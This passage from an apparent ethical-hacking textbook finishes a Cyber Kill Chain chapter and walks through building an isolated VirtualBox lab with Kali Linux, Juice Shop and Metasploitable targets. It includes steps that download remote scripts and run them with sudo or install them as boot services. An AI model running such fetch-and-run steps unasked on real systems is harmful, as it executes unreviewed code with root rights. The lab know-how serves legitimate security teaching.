testing known as red teaming where there are no limitations (rules of engagement) on the methods 
and techniques used to compromise a target organization, with the objective of simulating the closest 
thing to a real advanced cyber-attack of a malicious cyber army. However, keep in mind that legal 
permission is still needed for any type of red team engagement.

Actions on objectives
If the threat actor or penetration tester is able to reach this stage of the Cyber Kill Chain, the organi-
zation’s blue team has failed to stop the attacker and prevent the cyber-attack. At this stage, the threat 
actor has completed their objectives and achieved the goals of the attack. In this phase, the attacker 
can complete the main objective of the attack, whether it’s exfiltrating data from the organization and 
selling it on the Dark Web or even extending their botnet for a larger-scale cyber-attack on another 
target organization.

Stopping the threat actor or penetration tester at this phase is considered to be extremely difficult as 
the attacker would have already established multiple persistent backdoor accesses with encrypted 
C2 communication channels on many compromised systems within the targeted organization. Fur-
thermore, the threat actor will also be clearing traces of any evidence or artifacts that could help 
cybersecurity professionals trace the source attack to the threat actor.

Having completed this section, you have learned about the various stages of the Cyber Kill Chain and 
how it helps cybersecurity professionals understand the intentions of threat actors. Additionally, you 
have learned how penetration testers can implement these strategies within their penetration testing 
engagements.

Summary
In this chapter, you have learned about the importance and need for cybersecurity professionals and 
solutions around the world to safeguard assets from cyber criminals. Furthermore, you now have a 
better understanding of different types of threat actors and their reasons for performing cyber-attacks 
on their targets. In addition, you have explored what matters to threat actors and how various factors 
can affect their motives and determine whether it’s truly worth attacking a system or organization.

You have also learned about the various phases of penetration testing that are commonly used by threat 
actors. Each phase of penetration testing is important to ensure the ethical hacker and penetration 
tester is efficiently able to test the cyber defenses of a targeted organization and discover hidden 
security vulnerabilities.

I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyberse-
curity. May this newfound understanding empower you in your journey, allowing you to navigate the 
industry with confidence and make significant contributions. In the next chapter, Chapter 2, Building 
a Penetration Testing Lab, you will learn how to design and build a virtualized penetration testing lab 
on your personal computer that will be used to hone your new skills in a safe environment.
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Further reading
• The Cyber Kill Chain – https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-

kill-chain.html

• MITRE ATT&CK tactics – https://attack.mitre.org/tactics/enterprise/
• Penetration Testing Execution Standard (PTES) – http://www.pentest-standard.org/index.

php/PTES_Technical_Guidelines

• Payment Card Industry Data Security Standard (PCI DSS) – https://www.pcisecuritystandards.
org/documents/Penetration-Testing-Guidance-v1_1.pdf

• Penetration Testing Framework (PTF) – http://www.vulnerabilityassessment.co.uk/
Penetration%20Test.html

• Technical Guide to Information Security Testing and Assessment – https://csrc.nist.gov/
publications/detail/sp/800-115/final

• Open Source Security Testing Methodology Manual – https://www.isecom.org/OSSTMM.3.pdf
• OWASP Web Security Testing Guide – https://owasp.org/www-project-web-security-

testing-guide/

• OWASP Mobile Security Testing Guide – https://owasp.org/www-project-mobile-app-
security/

• OWASP Firmware Security Testing Methodology – https://github.com/scriptingxss/owasp-
fstm
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2
Building a Penetration Testing Lab

As an aspiring ethical hacker and penetration tester, it’s important to ensure that you do not disrupt 
or cause any sort of harm or damage to another person’s systems or network infrastructure, such 
as that of your organization, when testing exploits and payloads or practicing your hacking skills. 
While there are many online tutorials, videos, and training materials you can read and view to gain 
knowledge, working in the field of penetration testing means continuously enhancing your offensive 
security skills. Many people can speak about hacking and explain the methodology quite clearly but 
don’t know how to perform an attack. When learning about penetration testing, it’s very important to 
understand the theory and how to use your skills to apply them to a simulated real-world cyberattack.

In this chapter, you will learn how to design and build a virtualized penetration testing lab environ-
ment on your personal computer and leverage virtualization technologies to reduce the cost and need 
of acquiring multiple physical systems and devices. In addition, you’ll learn how to set up virtually 
isolated networks to ensure you do not accidentally target systems you do not own. Furthermore, you 
will set up Kali Linux as the attacker machine and vulnerable systems as your targets. It’s important 
to always remember that when you are practicing offensive security skills such as ethical hacking 
and penetration testing, it should always be performed on systems and networks you own, as these 
security tests are usually intrusive and have the potential to cause damage to systems. To put it simply, 
hacking systems you do not own is illegal.

In this chapter, we will cover the following topics:

• Understanding the lab overview and technologies
• Setting up a hypervisor and virtual networks
• Setting up and working with Kali Linux
• Setting up a vulnerable web application
• Deploying Metasploitable 2 as a vulnerable machine
• Building and deploying Metasploitable 3

Let’s dive in!
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Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Oracle VM VirtualBox – https://www.virtualbox.org/wiki/Downloads
• Oracle VM VirtualBox Extension Pack – https://www.virtualbox.org/wiki/Downloads
• Kali Linux – https://www.kali.org/get-kali/
• Vagrant – https://www.vagrantup.com/
• The Open Web Application Security Project (OWASP) Juice Shop – https://owasp.org/www-

project-juice-shop/

• Metasploitable 2 (Linux) – https://sourceforge.net/projects/metasploitable/files/
Metasploitable2/

• Metasploitable 3 (Windows and Linux) – https://app.vagrantup.com/rapid7

We’ll be covering the process of setting up Kali Linux, Vagrant, the OWASP Juice Shop, and Metasploit-
able 2 and 3 in detail in the chapter.

An overview of the lab setup and technologies used
Building a penetration testing lab enables you to create an environment that’s safe for you to practice 
and enhance your offensive security skills, scale the environment to add new vulnerable systems and 
remove older legacy systems that you may no longer need, and even create additional virtual networks 
to pivot your attacks from one network to another.

The concept of creating your very own virtualized penetration testing lab allows you to maximize the 
computing resources on your existing computer, without the need to purchase online lab time from 
various service providers or even buy additional computers and devices. Overall, you’ll be saving a 
lot of money as opposed to buying physical computers and networking equipment such as routers 
and switches.

Note

During the installation of Oracle VirtualBox, it’s important to ensure the application is 
installed within the default location of your C: drive. In addition to that, please ensure you 
are using default settings during the installation process or else you may encounter issues.

Additionally, the technical setup of this lab is specifically designed to operate on Windows 
systems. Please be advised that this setup may not be compatible with Linux or macOS 
environments.

For Ubuntu users, please refer to the appendix chapter for instructions on setting up Vir-
tualBox, creating virtual networks, deploying Kali Linux, and setting up Metasploitable 3 
virtual machines on a Ubuntu Desktop operating system.

https://www.virtualbox.org/wiki/Downloads
https://www.virtualbox.org/wiki/Downloads
https://www.kali.org/get-kali/
https://www.vagrantup.com/
https://owasp.org/www-project-juice-shop/
https://owasp.org/www-project-juice-shop/
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://app.vagrantup.com/rapid7
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As a cybersecurity lecturer and professional, I have noticed that many people who are starting their 
journeys in the field of information technology (IT) usually think that a physical lab infrastructure is 
needed based on their field of study. To some extent, this is true, but as technology advances, many 
downsides are associated with building a physical lab to practice your skills.

The following are some of the disadvantages of a physical lab:

• Physical space is required to store the servers and networking appliances that are needed.
• The power consumption per device will result in an overall high rate of financial expenditure.
• The cost of building/purchasing each physical device is high, whether it’s a network appliance 

or a server.

These are just some of the concerns many students and aspiring IT professionals have. In many cases, 
a beginner usually has a single computer such as a desktop or a laptop computer. Being able to use 
the virtualization technologies that have emerged as a response to these downsides has opened a 
multitude of doors in the field of IT. This has enabled many people and organizations to optimize and 
manage their hardware resources more efficiently.

In the world of virtualization, a hypervisor is a special application that allows a user to virtualize op-
erating systems that utilize the hardware resources on their system so that these hardware resources 
can be shared with another virtualized operating system or an application. This allows you to install 
more than one operating system on top of your existing computer’s operating system. Imagine that you 
are running Microsoft Windows 11 as your main operating system, which is commonly referred to as 
the host operating system, but you wish to run a Linux-based operating system at the same time on the 
same computer. You can achieve this by using a hypervisor. Hence, we are going to use virtualization 
to ensure we can build a cost-effective penetration testing lab environment.

When designing a penetration testing lab environment, we’ll need the following components:

• Hypervisor: The hypervisor is an application that enables us to virtualize operating systems 
and allow them to run on any hardware. We can use a hypervisor to create multiple virtual 
machines that can run simultaneously on our computer. There are many hypervisor applica-
tions, but we’ll be using Oracle VM VirtualBox as our preferred application because it’s free 
and easy to use.

• Attacker machine: The attacker machine will be used to create and launch various types of 
cyberattacks and threats to identify and exploit security vulnerabilities on targeted systems. 
For the attacker machine, we’ll be using Kali Linux.

• Vulnerable machines: Without any vulnerable systems, our lab environment will not be com-
plete. We’ll set up vulnerable systems, such as Metasploitable 2, which is a Linux-based op-
erating system with hosted web applications, and Metasploitable 3 with its Windows- and 
Linux-based server versions. In addition, there will be a Windows server with two Windows 
client machines for learning security vulnerabilities in Microsoft authentication systems.

• Vulnerable web application: This will help you better understand how threat actors are able 
to discover and exploit security weaknesses within web applications. We’ll set up the OWASP 
Juice Shop web application on Kali Linux using a Docker container.
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• Internet access: Internet connectivity will be set up on the Kali Linux virtual machine. This 
will be convenient for easily downloading additional applications, tools, and software packages.

The following diagram shows the network topology for our virtualized penetration testing lab envi-
ronment:

Figure 2.1: A high-level lab overview

As shown in the preceding diagram, there are four network zones, which are as follows:

• The internet for accessing online resources and is directly connected to the Kali Linux virtual 
machine.

• The PentestNet environment, which contains 2 vulnerable machines that are on the 
172.30.1.0/24 network and is also directly connected to Kali Linux.

• The RedTeamLab environment that contains an Active Directory (AD) infrastructure with 
a Windows server and 2 clients that are on the 192.168.42.0/24 network, and it’s directly 
connected to Kali Linux.

• The HiddenNet environment, which contains a single vulnerable host, that is, the Metasploit-
able 3 Linux-based machine on the 10.11.12.0/24 network and it’s reachable via the PentestNet 
network only. Therefore, we’ll need to compromise a host on the PentestNet environment and 
determine whether there’s a way to pivot our attacks.
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The following diagram provides more technical details to gain a better understanding of where specific 
IP networks are assigned in our lab environment:

Figure 2.2: Technical level lab interview

As shown in the preceding diagram, the Kali Linux virtual machine will be assigned three network 
adapters, these are commonly referred to as virtual network interface cards (vNICs) on hypervisors. 
These vNICs enable us to access the following:

• The internet using a bridged connection
• The PentestNet environment on 172.30.1.0/24
• The RedTeamLab environment on 192.168.42.0/24

This lab design is perfect for learning how to perform lateral movement between systems, pivoting 
from one network to another, and compromising an AD environment.

Now that you have an idea of the virtual lab environment, as well as the systems and technologies that 
we are going to be working with throughout this book, let’s get started with setting up the hypervisor 
and virtual networks next.

Setting up a hypervisor and virtual networks
There are many hypervisors from various vendors in the information technology industry. However, 
Oracle VM VirtualBox is a free and simple-to-use hypervisor that has all the essential features of 
commercial (paid) products. In this section, you will learn how to set up Oracle VM VirtualBox and 
create virtual networks on your computer.
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Before getting started, the following are important factors and requirements:

• Ensure the computer’s processor supports virtualization features, such as VT-x/AMD-V.
• Ensure the virtualization feature is enabled on your processor via the Basic Input/Output 

System (BIOS) / Unified Extensible Firmware Interface (UEFI) firmware.

Let’s get started!

Part 1 – setting up the hypervisor
As previously mentioned, there are many hypervisors in the industry, and we’ll be using Oracle VM 
VirtualBox throughout this book. However, if you wish to use another hypervisor, ensure you configure 
it using the systems and network designs.

To get started with this exercise, please use the following instructions:

1. On your host computer, go to https://www.virtualbox.org/wiki/Downloads and choose the 
Oracle VirtualBox Platform Package that is suitable for your host operating system as shown 
in the following screenshot:

Figure 2.3: VirtualBox website

If you’re unsure how to access the BIOS/UEFI on your computer, please check the manual 
of the device or the vendor’s website for specific instructions.

https://www.virtualbox.org/wiki/Downloads
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2. Next, you’ll need to download the Oracle VM VirtualBox Extension Pack application. This 
enables additional functionality on the VirtualBox Manager application, such as creating 
virtually isolated networks on the host computer. On the same download page, scroll down a 
bit to find the download link as follows:

Figure 2.4: VirtualBox Extension Pack

3. Next, install the Oracle VirtualBox Platform Package that was downloaded during step 1. During 
the installation, use the default configurations. Once the application is installed on your host 
computer, the VirtualBox Manager interface will appear as shown in the following screenshot:

Figure 2.5: Oracle VirtualBox Manager

4. Next, close the Oracle VM VirtualBox Manager application as it’s not needed at this time.
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5. Next, to install the Oracle VM VirtualBox Extension Pack, simply right-click on the software 
package and choose Open with | VirtualBox Manager:

Figure 2.6: Opening with VirtualBox Manager

6. The VirtualBox License window will appear; ensure you read and click on I Agree to accept 
the agreement to proceed with its installation.

Once the installation is completed, you can close the VirtualBox Manager application until it’s needed 
later.

Part 2 – creating virtually isolated networks
To get started setting up the virtually isolated networks, please follow these instructions:

1. Firstly, on your Windows host computer, open Command Prompt.
2. Next, use the following commands to change the present working directory to C:\Program 

Files\Oracle\VirtualBox:

C:\Users\Glen> cd C:\Program Files\Oracle\VirtualBox

3. Next, using the vboxmanage application, create a virtual Dynamic Host Configuration Protocol 
(DHCP) server for the virtual PentestNet network using the following commands:

C:\Program Files\Oracle\VirtualBox> vboxmanage dhcpserver add 
--network=PentestNet --server-ip=172.30.1.1 --lower-ip=172.30.1.20 
--upper-ip=172.30.1.50 --netmask=255.255.255.0 --enable

The following snippet shows the preceding commands executed in the Command Prompt:
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Upon executing the preceding commands, the vboxmanage application creates a DHCP server 
that will automatically assign an IP address within the range from 172.30.1.1 – 172.30.1.254 
to any systems that are connected to the PentestNet network on the hypervisor.

4. Next, use the following commands to create a new DHCP server for the HiddenNet network:

C:\Program Files\Oracle\VirtualBox> vboxmanage dhcpserver add 
--network=HiddenNet --server-ip=10.11.12.1 --lower-ip=10.11.12.20 
--upper-ip=10.11.12.50 --netmask=255.255.255.0 --enable

The following snippet shows the execution of the preceding commands:

Figure 2.8: Creating the second virtual network

When the preceding commands are executed, it will create another virtual DHCP server that 
will automatically assign IP addresses within the range of 10.11.12.1 – 10.11.12.20 to any 
virtual machines that are connected to the HiddenNet network.

5. Next, create another DHCP server and virtual network that will be assigned to the RedTeamLab 
network by using the following commands:

C:\Program Files\Oracle\VirtualBox> vboxmanage dhcpserver add 
--network=RedTeamLab --server-ip=192.168.42.1 --lower-ip=192.168.42.20 
--upper-ip=192.168.42.50 --netmask=255.255.255.0 --set-opt 6 
192.168.42.40 --enable

The following snippet shows the execution of the preceding commands to create another 
virtual DHCP server:

Figure 2.9: Creating the third virtual network

Unlike the previous steps, the commands used to create the RedTeamLab network were modified to 
specify a Domain Name System (DNS) server address to virtual machines that are connecting to this 
virtual network. The DNS server address will be useful when setting up the AD lab environment.

Note

You can use the vboxmanage list dhcpservers command to view all DHCP serv-
ers and their configurations that are enabled on your host computer via VirtualBox.
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At this point, both the hypervisor and virtual networks are configured. Next, you will learn how to 
deploy and set up Kali Linux as a virtual machine within our lab environment.

Setting up and working with Kali Linux
Kali Linux is one of the most popular Linux distributions within the cybersecurity industry as it contains 
over 300 pre-installed software packages that are designed for mostly offensive security assessments. 
Kali Linux is built on the Debian flavor of Linux and, being a free operating system, it has gained a 
lot of attention over the years by cybersecurity professionals in the industry. It has a lot of features 
and tools that make a penetration tester’s or security engineer’s job a bit easier when they’re working.

Ethical hackers and penetration testers commonly use Kali Linux to perform passive reconnaissance 
(covered in Chapters 4 and 5), scanning and enumeration (covered in Chapter 6), exploitation (covered 
in Chapter 8), and even post-exploitation techniques (covered in Chapters 10 and 11) on targeted sys-
tems and networks. While many folks usually think Kali Linux is designed only for offensive security 
professionals such as penetration testers, it’s commonly used by system administrators and even 
network security professionals within the technology industry to test their security controls and 
systems for security vulnerabilities.

In this section, you will learn how to set up Kali Linux as a virtual machine, establish network con-
nectivity to the internet and to our virtually isolated networks, and learn the basics of Kali Linux. Let’s 
get started!

Part 1 – deploying Kali Linux as a virtual machine
There are many types of deployment models for Kali Linux, from performing a bare-metal installation 
directly on hardware to installing it on Android devices. To keep our lab setup process simple and easy 
to follow, you will learn how to set up Kali Linux as a virtual machine within the Oracle VM VirtualBox 
application. This method ensures you can be up and running very quickly.

To get started with this exercise, please use the following instructions:

1. Firstly, go to the official Kali Linux website at https://www.kali.org/get-kali/ and click on 
Virtual Machines as shown here:

https://www.kali.org/get-kali/
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Figure 2.10: Kali Linux website

2. Next, click on VirtualBox 64 to download the VirtualBox image of Kali Linux 2023:

Figure 2.11: Kali Linux download section

The download file is a compressed folder with the .7z extension.
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3. Next, to extract the contents from the compressed folder; you will need to download and install 
the 7-Zip application from https://www.7-zip.org/download.html.

4. Next, open the 7-Zip File Manager application, navigate to the directory with the Kali Linux 
compressed folder, select the file, and click on Extract:

Figure 2.12: 7-Zip application

Next, the file extraction window will appear – click on OK to proceed:

Figure 2.13: Extracting Kali Linux virtual files

The extraction process will begin and take a few seconds or minutes to complete. After the 
extraction is completed, you will see a new folder within the 7-Zip File Manager application. 
This means the contents were successfully extracted and you can now close the application. 

https://www.7-zip.org/download.html
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5. Next, open Windows Explorer and go to the directory that has the extracted contents. There 
you will see two files – right-click on the VirtualBox Machine Definition file and select Open 
with | VirtualBox Manager, as shown here:

Figure 2.14: Opening Kali Linux with VirtualBox Manager

6. The Oracle VM VirtualBox Manager application will automatically open and import the Kali 
Linux virtual machine, as shown here:

Figure 2.15: VirtualBox with Kali Linux

Before powering on the Kali Linux virtual machine, there are a few customizations that need to be 
made to the virtual machine settings.
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Part 2 – customizing Kali Linux and its network adapters
The following instructions will guide you in customizing the Kali Linux virtual machine environment 
and ensuring it’s aligned with our virtualized penetration testing lab topology. In addition, you will 
learn how to attach each vNIC (network adapter) to the internet, PentestNet, and RedTeamLab virtual 
networks.

To get started customizing the Kali Linux virtual environment, please follow these instructions:

1. Firstly, ensure the Nested VT-x/AMD-V virtualization feature is accessible between the virtual 
machine and the processor on your computer – we will need to execute the following com-
mands within the Windows Command Prompt:

C:\Users\Glen> cd C:\Program Files\Oracle\VirtualBox
C:\Program Files\Oracle\VirtualBox> VBoxManage.exe list vms

2. Next, using the name of the newly imported Kali Linux virtual machine, use the following 
commands to enable the Nested VT-x/AMD-V feature on the virtual machine:

C:\Program Files\Oracle\VirtualBox> VBoxManage.exe modifyvm "kali-linux-
2023.2-virtualbox-amd64" --nested-hw-virt on

Ensure you substitute the name of your Kali Linux virtual machine (shown in step 1) with the 
name displayed within the quotation marks, as shown here:

Figure 2.16: Enabling nested virtualization

NOTE

The VBoxManage.exe list vms command enables us to view a list of all the virtual 
machines, as well as their names and IDs within Oracle VM VirtualBox Manager.



Chapter 2 45

3. Next, in Oracle VM VirtualBox Manager, select the Kali Linux virtual machine and click on 
Settings as shown here:

Figure 2.17: Settings icon

4. To adjust the amount of memory (RAM) allocated to this virtual machine, go to System | Moth-
erboard | Base Memory, as shown here:

Figure 2.18: Kali Linux settings menu

It’s recommended to never assign memory within the yellow and red zones of the 
Base Memory scale. Kali Linux can run efficiently on 2 GB of memory; however, 
if your system has more than 8 GB available, then consider allocating 4 GB to the 
Kali Linux virtual machine to ensure password-cracking tools such as hashcat can 
run smoothly during later chapters.
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Additionally, within the System | Processor tab, you can modify the number of virtual CPU 
cores that are allocated to this virtual machine. Using between one and two cores is sufficient; 
however, you can assign more depending on the available hardware resources on your computer.

5. Next, let’s connect the Kali Linux virtual machine to your physical network to access the 
internet. Within the Settings menu of Kali Linux, select Network | Adapter 1 and use the 
following configurations:

• Enable the network adapter
• Attached to: Bridged Adapter
• Name: Use the drop-down menu to select your physical network adapter that’s con-

nected to your physical network with internet access.

The following screenshot shows the preceding configurations applied to Adapter 1 (vNIC 1):

Figure 2.19: Network | Adapter 1

6. Next, let’s assign Adapter 2 (vNIC 2) to the PentestNet network. Select the Adapter 2 tab and 
use the following configurations:

• Enable the network adapter
• Attached to: Internal Network
• Name: Manually enter PentestNet within the field
• Promiscuous Mode: Allow All

Note

Enabling Promiscuous Mode on a network interface enables the Kali Linux ma-
chine to capture and process all the packets that the same interface receives. This 
is good for performing packet capturing and analysis.
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The following screenshot shows the preceding configurations applied to Adapter 2 (vNIC 2):

Figure 2.20: Network | Adapter 2

7. Lastly, let’s assign Adapter 3 (vNIC 3) to the RedTeamLab network. Select the Adapter 3 tab and 
use the following configurations:

• Enable the network adapter
• Attached to: Internal Network
• Name: Manually enter RedTeamLab within the field
• Promiscuous Mode: Allow All

The following screenshot shows the preceding configurations applied to Adapter 3 (vNIC 3):

Figure 2.21: Network | Adapter 3
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After configuring the network settings on Adapter 3, disable it by un-checking Enable Network 
Adapter and then click on OK to save the settings of the Kali Linux virtual machine. We will 
re-enable Adapter 3 when it’s needed during later chapters of this book.

At this point, we have configured all three virtual network adapters on the Kali Linux virtual machine. 
One adapter provides connectivity to the internet via the physical adapter on your host computer, and 
the other two virtual adapters are connected to the virtual networks (PentestNet and RedTeamLab).

Part 3 – getting started with Kali Linux
Many first-time users are always excited to log in to their first attacker machine, especially a machine 
that’s designed to help ethical hackers and penetration testers discover and exploit security vulnera-
bilities on targeted systems and networks.

The following instructions will help you get started with Kali Linux:

1. Firstly, open Oracle VM VirtualBox Manager, select the Kali Linux virtual machine, and click 
on Start to power on.

2. Next, a log-in prompt will appear; use the username: kali and password: kali to log in to the 
desktop:

 

Figure 2.22: The Kali Linux Log In screen

If your Kali Linux desktop view does not scale to match the resolution of your 
monitor, simply toggle with the View | Auto-resize Guest Display option at the 
top of the VirtualBox menu bar.
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3. Once you’ve logged in to the Kali Linux operating system, to view a list of available tools, click 
on the Kali Linux icon in the top-left corner of the desktop, as shown here:

Figure 2.23: The Kali Linux application menu

As shown in the preceding screenshot, the pre-installed tools are all categorized based on 
the sequential order of performing ethical hacking and penetration testing exercises. For 
instance, all the tools that are commonly used for reconnaissance can be easily found within 
the 01 – Information Gathering category, while wireless penetration testing tools are found 
within the 06 – Wireless Attacks category.



Building a Penetration Testing Lab50

4. Sometimes, Kali Linux does not communicate properly to the internet when its internet-facing 
interface is assigned both an IPv4 and IPv6 address. To disable IPv6 on Kali Linux, click on 
the Kali Linux icon in the top-left corner and select the Settings Manager icon, as shown here:

Figure 2.24: Locating the Settings Manager

Note

Throughout this book, you will mostly be working with the Linux terminal and 
learning many commands along the way. Don’t worry if this is your first time 
working with Linux and commands; it will be a new learning experience and 
fun to work with new technologies and develop your offensive security skills to 
simulate real-world cyberattacks.
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5. The Settings window will appear. Here, click on Advanced Network Configuration, as shown 
in the following screenshot:

Figure 2.25: Locating the network settings

6. Next, the Network Connections window will appear. Here, select Wired connection 1 (vNIC 
1) and click on the gear icon, as shown in the following screenshot:

Figure 2.26: Selecting Wired connection 1
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7. Next, the Editing Wired connection 1 window appears. Here, select the IPv6 Settings tab, 
change Method to Disabled, and click on Save, as shown in the following screenshot:

 

Figure 2.27: Disabling IPv6

You can now close the Network Connections window and the Settings menu.

8. Next, let’s determine whether our Kali Linux virtual machine is receiving an IP address on 
each of its network adapters that are connected to the internet, PentestNet, and RedTeamLab 
networks. To open the Linux terminal, click on the Kali Linux icon on the top-left corner and 
select Terminal Emulator, then execute the ip address command shown here:
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Figure 2.28: Viewing all network adapters

As shown in the preceding screenshot, there are four network adapters on the Kali Linux 
virtual machine:

• lo: This is the loopback network adapter, which enables the operating system to com-
municate with self-hosted applications and vice versa.

• eth0: This network adapter is vNIC 1, based on our lab topology diagram, and it’s rep-
resented as Network Adapter 1 on the virtual machine setting shown on VirtualBox 
Manager that’s connected to the internet via the physical network. The inet address is 
the IP address that’s allocated to the interface.

• eth1: This is vNIC 2, according to the lab topology diagram, and it is Network Adapter 
2, as shown on the VirtualBox Manager within the virtual machine setting that’s con-
nected to the PentestNet network (172.30.1.0/24) environment.

• eth3: This is vNIC 3, according to the lab topology diagram, and it is Network Adapter 
3, as shown on the VirtualBox Manager within the virtual machine setting that’s con-
nected to the RedTeamLab network (192.168.42.0/24) environment.
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9. Next, let’s check the internet connectivity and determine whether DNS resolution is working 
properly on our Kali Linux virtual machine. In the Terminal, use the following command to 
send four Internet Control Message Protocol (ICMP) messages to www.google.com:

kali@kali:~$ ping www.google.com -c 4

The following screenshot shows that the Kali Linux operating system was able to resolve the 
hostname to an IP address and successfully reach Google’s web server on the internet:

Figure 2.29: Checking internet connectivity

10. Finally, to change the default password for the username: kali, use the passwd command 
shown in the following screenshot:

Figure 2.30: Changing the default password

Part 4 – updating repository sources and packages
At times, a tool may not be working as expected or even crash unexpectedly on us during a penetration 
test or security audit. Developers often release updates for their applications and software packages. 
These updates are intended to fix bugs and add new features to the user experience. 

Let’s learn how to update sources and packages by following these steps:

1. To update the local package repository list on Kali Linux, use the sudo apt update command 
shown here:

Note

While entering passwords on the Linux terminal, they are invisible for security reasons.

http://www.google.com
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Figure 2.31: Updating software packages list

2. By updating the package repository list on your Kali Linux machine, when you use the sudo 
apt install <package-name> command to install a new software package, Kali Linux will 
retrieve the latest version of the application and update it from the official sources.

Upgrading the software packages on Kali Linux usually introduces security updates and fixes known 
issues but also creates new issues. For instance, I’ve encountered that, after a software upgrade is 
completed on Kali Linux running VirtualBox, all network adapters are unable to obtain an IP address. 
Therefore, I’ve created a workaround solution that will ensure the network adapters on Kali Linux 
receive an IPv4 address even after the upgrade. To resolve this issue, you can follow these steps:

1. Use the following command to download a custom script for ensuring IPv4 addresses are 
assigned to all network adapters on Kali Linux:

kali@kali:~$ wget https://raw.githubusercontent.com/PacktPublishing/
The-Ultimate-Kali-Linux-Book-3E/main/Chapter%2002/network-configuration.
service 

2. Next, use the following command to move the script to the /etc/systemd/system/ services 
directory:

kali@kali:~$ sudo mv network-configuration.service /etc/systemd/system/

3. Next, reload systemd to load the new script as a service:

kali@kali:~$ sudo systemctl daemon-reload 

4. Next, use the following command to enable the service to run at boot time:

kali@kali:~$ sudo systemctl enable network-configuration.service 

The source.list file does not always update properly. To ensure you have the right 
settings on your Kali Linux machine, please see the official documentation on Kali Linux 
repositories at https://www.kali.org/docs/general-use/kali-linux-sources-
list-repositories/.

https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
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Next, the PimpMyKali script from Dewalt enables us to both fix and install very useful utilities and 
tools that are commonly used by penetration testers and upgrade the existing software packages on 
our Kali Linux virtual machine. Keep in mind that you are running this script at your own risk on your 
Kali Linux machine. You can follow these instructions:

1. To run this script, open the Terminal and use the following commands by Dewalt:

kali@kali:~$ git clone https://github.com/Dewalt-arch/pimpmykali
kali@kali:~$ cd pimpmykali
kali@kali:~/pimpmykali$ sudo ./pimpmykali.sh

2. Next, the PimpMyKali command-line menu will appear with many options; enter N since we 
are running this script on a new virtual machine, as highlighted here:

Figure 2.32: The PimpMyKali menu

During the setup process, the script will ask whether you want to re-enable the ability to log in 
with the root account on Kali Linux, but this is a personal preference. From a cybersecurity 
perspective, we should use an administrator or root account only when needed. I entered 
N (no) and hit Enter to continue the process. Keep in mind that this setup process takes a few 
minutes to complete.

3. Finally, after the setup process is completed, you will need to reboot the Kali Linux virtual 
machine to ensure all the configurations take effect. You will find the power options at the 
top-right corner of the Kali Linux desktop interface.
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On March 29, 2024, it was reported that the xz-utils package, specifically version 5.6.0-0.2 on Li-
nux-based systems, including Kali Linux, was vulnerable and contained a backdoor to potentially 
allow a threat actor to compromise the sshd authentication system, allowing a threat actor to gain 
unauthorized access to your Kali Linux machine. Use the following instructions to check the xz-utils 
package version:

1. The following command enables us to verify the installed version on Kali Linux:

kali@kali:~$ apt-cache policy liblzma5 

This is shown in the following screenshot:

Figure 2.33: Checking for the vulnerable xz-utils package

2. To upgrade to the latest version, use the following command:

kali@kali:~$ sudo apt update && sudo apt install -y --only-upgrade 
liblzma5 

After upgrading liblzma5, executing the apt-cache policy liblzma5 command enables us 
to verify that Kali Linux is running the latest version at the time of writing:

Figure 2.34: Verifying the upgrade of the xz-utils package

To learn more about Dewalt’s PimpMyKali script, please see the official GitHub repository 
at https://github.com/Dewalt-arch/pimpmykali.

https://github.com/Dewalt-arch/pimpmykali
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Having completed this section, you have learned how to set up Kali Linux as a virtual machine, enable 
internet and other network connections for the virtual machine, and update the package repository 
source list. Next, you will learn how to set up a vulnerable web application to explore web application 
penetration testing in later sections of this book.

Setting up a vulnerable web application
Learning how to simulate real-world cyberattacks using Kali Linux would not be complete without 
understanding how to discover and exploit vulnerabilities within web applications. The OWASP is an 
organization that focuses on improving security through software, including web applications. The 
OWASP is known for its OWASP Top 10 list of most critical security risks within web applications. In 
Chapters 16 and 17, you will learn how to identify and exploit common vulnerabilities within web 
applications.

As an aspiring ethical hacker and penetration tester, it’s important to understand how to identify 
and perform security testing on each category within the OWASP Top 10 list. The OWASP created a 
few projects that allow learners to safely use their offensive security skills and techniques in a safe 
environment to discover web application vulnerabilities and exploit them. In this section, we’ll be 
deploying the OWASP Juice Shop vulnerable web application on Kali Linux.

To get started with setting up the OWASP Juice Shop web application, please use the following in-
structions:

1. Firstly, power on your Kali Linux virtual machine and log in.

Note

To learn more about this security vulnerability, please see the official Kali Linux blog post 
at https://www.kali.org/blog/about-the-xz-backdoor/ and the National Vulnera-
bility Database at https://nvd.nist.gov/vuln/detail/CVE-2024-3094.

Note

At the time of writing this book, the latest version of the OWASP Top 10 was last updated 
in 2021. More information can be found at https://owasp.org/www-project-top-ten/. 
Further information on each of the Top 10 security risks is covered in Chapters 16 and 17.

https://www.kali.org/blog/about-the-xz-backdoor/
https://nvd.nist.gov/vuln/detail/CVE-2024-3094
https://owasp.org/www-project-top-ten/
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2. Next, open the Terminal and use the following commands to update the package repository 
list and install Docker:

kali@kali:~$ sudo apt update 
kali@kali:~$ sudo apt install -y docker.io
kali@kali:~$ sudo systemctl start docker
kali@kali:~$ sudo systemctl enable docker

3. Next, use the installed Docker application to pull the OWASP Juice Shop container from the 
online Docker Hub repository:

kali@kali:~$ sudo docker pull bkimminich/juice-shop 

The following screenshot shows the download and setup process of the OWASP Juice Shop 
Docker container:

Figure 2.35: Downloading the Juice Shop Docker container

4. Next, use the following command to run the OWASP Juice Shop Docker container on port 3000:

kali@kali:~$ sudo docker run --rm -p 3000:3000 bkimminich/juice-shop

The following snippet shows the execution of the preceding command:

Use the docker --version command to test whether Docker is installed correctly 
on Kali Linux.
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Figure 2.36: Running the Juice Shop Docker container

5. Next, open the Firefox web browser within Kali Linux and go to http://127.0.0.1:3000 to 
access and interact with the OWASP Juice Shop web application, as shown in the following 
screenshot:  

Figure 2.37: The Juice Shop homepage

Note

To stop the Docker container from running, use the CTRL + C key combination.
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6. Lastly, use the following commands to stop the Docker service:

kali@kali:~$ sudo systemctl stop docker 
kali@kali:~$ sudo systemctl disable docker

Having completed this exercise, you have learned how to set up Docker and the OWASP Juice Shop 
on Kali Linux. Next, you will learn how to set up Metasploitable 2, a vulnerable Linux-based system 
in our lab environment.

Deploying Metasploitable 2 as a vulnerable machine
